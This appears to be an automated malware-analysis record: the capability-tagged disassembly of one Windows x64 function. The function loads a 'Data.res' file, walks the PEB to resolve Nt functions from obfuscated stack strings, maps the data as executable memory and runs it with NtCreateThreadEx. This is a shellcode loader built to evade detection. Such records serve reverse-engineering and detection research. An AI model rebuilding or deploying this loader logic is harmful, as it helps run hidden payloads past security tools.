Function at 0x1400052e0
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x7b8]
sub rsp, 0x8b8
call fcn.1400036b0
mov r8d, 0x104
lea rdx, [rbp + 0x390]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
lea rax, [rbp + 0x390]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140005340
lea rdx, [rbp + 0x390]
lea rcx, [rbp - 0x50]
call fcn.140001300
nop
lea rbx, [rbp - 0x50]
mov rsi, qword [rbp - 0x50]
mov r14, qword [rbp - 0x38]
cmp r14, 7
cmova rbx, rsi
mov r13d, 1
mov rdi, qword [rbp - 0x40]
test rdi, rdi
je 0x140005451
mov r15d, 0x100
mov r8d, r15d
xor edx, edx
lea rcx, [rbp + 0x180]
call fcn.140028800
lea rcx, [0x14002a3c0]
lea rdx, [0x14002a3c2]
nop dword [rax + rax]
movzx eax, word [rcx]
cmp ax, r15w
jae 0x140005402
movzx eax, al
mov byte [rbp + rax + 0x180], r13b
add rcx, 2
cmp rcx, rdx
jne 0x1400053b0
lea rcx, [rdi - 1]
mov rax, 0xffffffffffffffff
cmp rcx, rax
cmovb rax, rcx
lea r8, [rbx + rax*2]
movzx eax, word [r8]
cmp ax, r15w
jae 0x1400053f7
cmp byte [rbp + rax + 0x180], 0
jne 0x140005449
cmp r8, rbx
je 0x140005451
sub r8, 2
jmp 0x1400053e3
lea rcx, [rdi - 1]
mov rax, 0xffffffffffffffff
cmp rcx, rax
cmovb rax, rcx
lea r8, [rbx + rax*2]
nop dword [rax + rax]
mov rcx, r13
lea rax, [0x14002a3c0]
movzx edx, word [r8]
nop
cmp word [rax], dx
je 0x140005449
add rax, 2
sub rcx, r13
jne 0x140005430
cmp r8, rbx
je 0x140005451
sub r8, 2
jmp 0x140005420
sub r8, rbx
sar r8, 1
jmp 0x140005458
mov r8, 0xffffffffffffffff
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x30], xmm1
cmp rdi, r8
cmovb r8, rdi
lea rdx, [rbp - 0x50]
cmp r14, 7
cmova rdx, rsi
lea rcx, [rbp + 0x20]
call fcn.140001300
nop
lea r8, str.Data.res
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x18]
call fcn.140001070
nop
lea rdx, [rbp - 0x18]
cmp qword [rbp], 7
cmova rdx, qword [rbp - 0x18]
mov dword [rsp + 0x20], r13d
mov r9d, 0x40
lea r8d, [r9 - 0x20]
lea rcx, [rbp + 0x40]
call fcn.140001950
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x40], rax
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x3c], edx
cmp qword [rbp + 0xd0], 0
je 0x140005939
mov r12d, 2
mov r8d, r12d
xor edx, edx
lea rcx, [rbp + 0x40]
call fcn.140004590
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x40]
call fcn.140004a10
mov rdi, qword [rax + 8]
add rdi, qword [rax]
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x40]
call fcn.140004590
mov qword [rbp + 0x810], rdi
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x30], xmm0
xor r14d, r14d
mov esi, r14d
mov qword [rbp - 0x20], r14
test rdi, rdi
je 0x1400055b9
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
ja 0x140005a9b
cmp rdi, 0x1000
jb 0x14000558f
lea rcx, [rdi + 0x27]
cmp rcx, rdi
jbe 0x140005aa1
call fcn.140006b20
test rax, rax
je 0x140005afc
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14000559a
mov rcx, rdi
call fcn.140006b20
mov rbx, rax
mov qword [rbp - 0x30], rbx
lea rsi, [rbx + rdi]
mov qword [rbp - 0x20], rsi
mov r8, rdi
xor edx, edx
mov rcx, rbx
call fcn.140028800
mov qword [rbp - 0x28], rsi
jmp 0x1400055bd
mov rbx, qword [rbp - 0x30]
mov r8, rdi
mov rdx, rbx
lea rcx, [rbp + 0x40]
call fcn.140004440
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
test byte [rdx + rax + 0x10], 6
mov rax, qword [rbp + 0x818]
cmove rax, rbx
mov qword [rbp + 0x818], rax
lea rcx, [rbp + 0x50]
call fcn.140003aa0
test rax, rax
jne 0x140005629
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rbp + rcx + 0x88], 0
cmovne eax, r12d
or eax, dword [rbp + rcx + 0x50]
and eax, 0x17
mov dword [rbp + rcx + 0x50], eax
mov edx, dword [rbp + rcx + 0x54]
and edx, eax
jne 0x140005aa7
test rbx, rbx
je 0x140005661
sub rsi, rbx
mov rax, rbx
cmp rsi, 0x1000
jb 0x140005656
add rsi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005afc
mov rdx, rsi
mov rcx, rbx
call fcn.140006b5c
mov qword [rbp + 0x808], r14
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rsi, qword [rcx + 0x20]
test rsi, rsi
je 0x140005772
lea rbx, [0x14002a3e0]
nop dword [rax]
cmp word [rsi + 0x48], 0
je 0x140005772
mov r14, qword [rsi + 0x50]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rdi, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd r15, eax
cmp edi, 0x104
jge 0x14000584e
cmp r15d, 0x104
jge 0x14000584e
xor ebx, ebx
test rdi, rdi
jle 0x1400056fa
nop word [rax + rax]
movzx ecx, word [r14 + rbx*2]
call fcn.14000da14
mov word [rbp + rbx*2 + 0x5a0], ax
inc rbx
cmp rbx, rdi
jl 0x1400056e0
xor r14d, r14d
mov word [rbp + rbx*2 + 0x5a0], r14w
mov ebx, r14d
mov rdi, r15
test r15d, r15d
jle 0x14000573a
lea r15, [0x14002a3e0]
nop dword [rax + rax]
movzx ecx, word [r15 + rbx*2]
call fcn.14000da14
mov word [rbp + rbx*2 + 0x180], ax
inc rbx
cmp rbx, rdi
jl 0x140005720
mov word [rbp + rbx*2 + 0x180], r14w
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x5a0]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140005856
lea rbx, [0x14002a3e0]
mov rsi, qword [rsi]
test rsi, rsi
jne 0x140005690
mov rdi, r14
movdqa xmm0, xmmword [0x14002a8e0]
movdqu xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x70], 0x6d654d6c
mov dword [rsp + 0x74], 0x79726f
lea rdx, [rsp + 0x60]
mov rcx, rdi
call fcn.140002a70
mov rbx, rax
movdqa xmm0, xmmword [0x14002a8f0]
movdqu xmmword [rsp + 0x78], xmm0
mov dword [rbp - 0x78], 0x6f6d654d
mov word [rbp - 0x74], 0x7972
mov byte [rbp - 0x72], 0
lea rdx, [rsp + 0x78]
mov rcx, rdi
call fcn.140002a70
mov r15, rax
movdqa xmm0, xmmword [0x14002a900]
movdqu xmmword [rbp + 8], xmm0
mov byte [rbp + 0x18], 0
lea rdx, [rbp + 8]
mov rcx, rdi
call fcn.140002a70
mov r14, rax
movdqa xmm0, xmmword [str.NtWaitForSingleONtAllocateVirtuaNtProtectVirtualNtCreateThreadExbad_allocation]
movdqu xmmword [rbp - 0x68], xmm0
mov dword [rbp - 0x58], 0x63656a62
mov word [rbp - 0x54], 0x74
lea rdx, [rbp - 0x68]
mov rcx, rdi
call fcn.140002a70
mov rsi, rax
mov edi, 4
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x810]
xor r8d, r8d
lea rdx, [rbp + 0x808]
lea rcx, [rdi - 5]
call rbx
test eax, eax
jns 0x14000585f
xor ebx, ebx
jmp 0x14000593e
xor r14d, r14d
jmp 0x140005766
mov rdi, qword [rsi + 0x20]
jmp 0x140005775
mov r8, qword [rbp + 0x810]
mov rdx, qword [rbp + 0x818]
mov rcx, qword [rbp + 0x808]
call fcn.140028160
xor ebx, ebx
mov dword [rbp + 0x800], ebx
lea rax, [rbp + 0x800]
mov qword [rsp + 0x20], rax
lea r9d, [rbx + 0x40]
lea r8, [rbp + 0x810]
lea rdx, [rbp + 0x808]
lea rcx, [rbx - 1]
call r15
test eax, eax
js 0x140005941
mov qword [rbp - 0x70], 0xffffffffffffffff
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x28], rbx
mov rax, qword [rbp + 0x808]
mov qword [rsp + 0x20], rax
lea r9, [rbx - 1]
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rbp - 0x70]
call r14
test eax, eax
jns 0x140005910
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_sysNtCreateThreadEx___u__n
call fcn.140005b10
lea r12d, [rbx + 3]
jmp 0x140005941
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp - 0x70]
call rsi
test eax, eax
jns 0x140005935
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_sysNtWaitForSingleObject___u__n
call fcn.140005b10
jmp 0x140005944
mov edi, ebx
jmp 0x140005944
xor ebx, ebx
mov r13d, ebx
mov r12d, r13d
mov edi, r12d
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x40], rax
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x3c], edx
lea rcx, [rbp + 0x50]
call fcn.1400022f0
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x40], rax
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x3c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0xf0], rax
lea rcx, [rbp + 0xf0]
call fcn.14000660c
nop
mov rdx, qword [rbp]
cmp rdx, 7
jbe 0x1400059f1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400059ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005b02
call fcn.140006b5c
movdqa xmm0, xmmword [0x14002a8c0]
movdqu xmmword [rbp - 8], xmm0
mov word [rbp - 0x18], bx
mov rdx, qword [rbp + 0x38]
cmp rdx, 7
jbe 0x140005a43
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005a3d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005b08
call fcn.140006b5c
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x140005a7f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005a7a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005a95
call fcn.140006b5c
mov eax, edi
add rsp, 0x8b8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.14000d7cc
nop
call fcn.140003600
nop
call fcn.140003580
nop
test dl, 4
je 0x140005ab5
lea rbx, str.ios_base::badbit_set
jmp 0x140005aca
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, r13d
lea rcx, [rbp + 8]
call fcn.1400040b0
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x150]
call fcn.140002160
lea rdx, [0x1400390a0]
lea rcx, [rbp + 0x150]
call fcn.140007bb0
nop
call fcn.14000d7cc
nop
call fcn.14000d7cc
nop
call fcn.14000d7cc
int3